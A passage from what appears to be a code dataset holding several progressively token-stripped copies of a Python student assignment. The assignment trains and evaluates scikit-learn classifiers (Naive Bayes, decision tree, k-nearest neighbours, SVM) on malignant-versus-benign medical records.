CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\nif __name__ == '__main__':\n class_labels = 'Malignant', 'Benign'\n path_to_data = 'medical_records.data'\n test_set_ratio = 0.2\n function_list = [build_NB_classifier, build_DT_classifier,\n build_NN_classifier, build_SVM_classifier]\n print_introduction(my_team())\n data, labels = prepare_dataset(path_to_data)\n train_data, test_data, train_labels, test_labels = (model_selection.\n train_test_split(data, labels, test_size=test_set_ratio,\n random_state=1))\n print(\n '\\n\\nTraining set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'\n .format((1 - test_set_ratio) * 100, len(train_data), sum(\n train_labels), sum(train_labels) * 100 / len(train_data)))\n print('Test set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'.\n format(test_set_ratio * 100, len(test_data), sum(test_labels), sum(\n test_labels) * 100 / len(test_data)))\n for function in function_list:\n if function is build_NB_classifier:\n t0 = time.time()\n clf, cv_results = function(train_data, train_labels)\n print_cv_report(cv_results)\n else:\n t0 = time.time()\n clf = function(train_data, train_labels)\n print_grid_search_report(clf)\n plot_grid_search_results(clf)\n t1 = time.time()\n print(\n '\\nCross-validation, optimization, and fitting took {:.6f} seconds total.'\n .format(t1 - t0))\n pred_train_labels = clf.predict(train_data)\n t2 = time.time()\n print('\\n\\n- - - TRAINING REPORT - - -')\n print_prediction_report(pred_train_labels, train_labels, class_labels)\n print('\\nPrediction on training set took {:.6f} seconds.'.format(t2 -\n t1))\n t3 = time.time()\n pred_labels = clf.predict(test_data)\n t4 = time.time()\n print('\\n\\n- - - TEST REPORT - - -')\n print_prediction_report(pred_labels, test_labels, class_labels)\n print('\\nPrediction on test set took {:.6f} seconds.'.format(t4 - t3))\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\ndef build_NB_classifier(X_training, y_training):\n \"\"\" \n Build a Naive Bayes classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n nbc: the naive bayes classifier built in this function\n results: the dict of scores returned by cross validation, since \n GridSearchCV would also return this but it cannot be used for \n NB with no hyperparameter to optimize, and CV must be done before\n fitting takes place (and fitting happens here)\n \"\"\"\n print_clf_intro('NAIVE BAYES')\n nbc = naive_bayes.MultinomialNB()\n results = model_selection.cross_validate(nbc, X_training, y_training,\n return_train_score=True, scoring=['accuracy', 'precision',\n 'roc_auc', 'recall', 'f1'])\n nbc.fit(X_training, y_training)\n return nbc, results\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\ndef build_NN_classifier(X_training, y_training):\n \"\"\" \n Build a Nearrest Neighbours classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed. \n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n knn: the k-nearest neighbors classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'n_neighbors': np.linspace(1, 200, 200, dtype=int)}\n print_clf_intro('NEAREST NEIGHBOR', params)\n knn = model_selection.GridSearchCV(neighbors.KNeighborsClassifier(),\n params, return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n knn.fit(X_training, y_training)\n return knn\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\ndef print_introduction(team_array):\n \"\"\"\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n \"\"\"\n print('\\n\\n***************************************************************'\n )\n print(' CAB320 ASSIGNMENT 2: MACHINE LEARNING ')\n print('***************************************************************')\n print('\\nTEAM MEMBERS:')\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0], ':', person[1],\n person[2]))\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\ndef build_NB_classifier(X_training, y_training):\n \"\"\" \n Build a Naive Bayes classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n nbc: the naive bayes classifier built in this function\n results: the dict of scores returned by cross validation, since \n GridSearchCV would also return this but it cannot be used for \n NB with no hyperparameter to optimize, and CV must be done before\n fitting takes place (and fitting happens here)\n \"\"\"\n print_clf_intro('NAIVE BAYES')\n nbc = naive_bayes.MultinomialNB()\n results = model_selection.cross_validate(nbc, X_training, y_training,\n return_train_score=True, scoring=['accuracy', 'precision',\n 'roc_auc', 'recall', 'f1'])\n nbc.fit(X_training, y_training)\n return nbc, results\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\ndef print_introduction(team_array):\n \"\"\"\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n \"\"\"\n print('\\n\\n***************************************************************'\n )\n print(' CAB320 ASSIGNMENT 2: MACHINE LEARNING ')\n print('***************************************************************')\n print('\\nTEAM MEMBERS:')\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0], ':', person[1],\n person[2]))\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\ndef print_introduction(team_array):\n \"\"\"\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n \"\"\"\n print('\\n\\n***************************************************************'\n )\n print(' CAB320 ASSIGNMENT 2: MACHINE LEARNING ')\n print('***************************************************************')\n print('\\nTEAM MEMBERS:')\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0], ':', person[1],\n person[2]))\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = 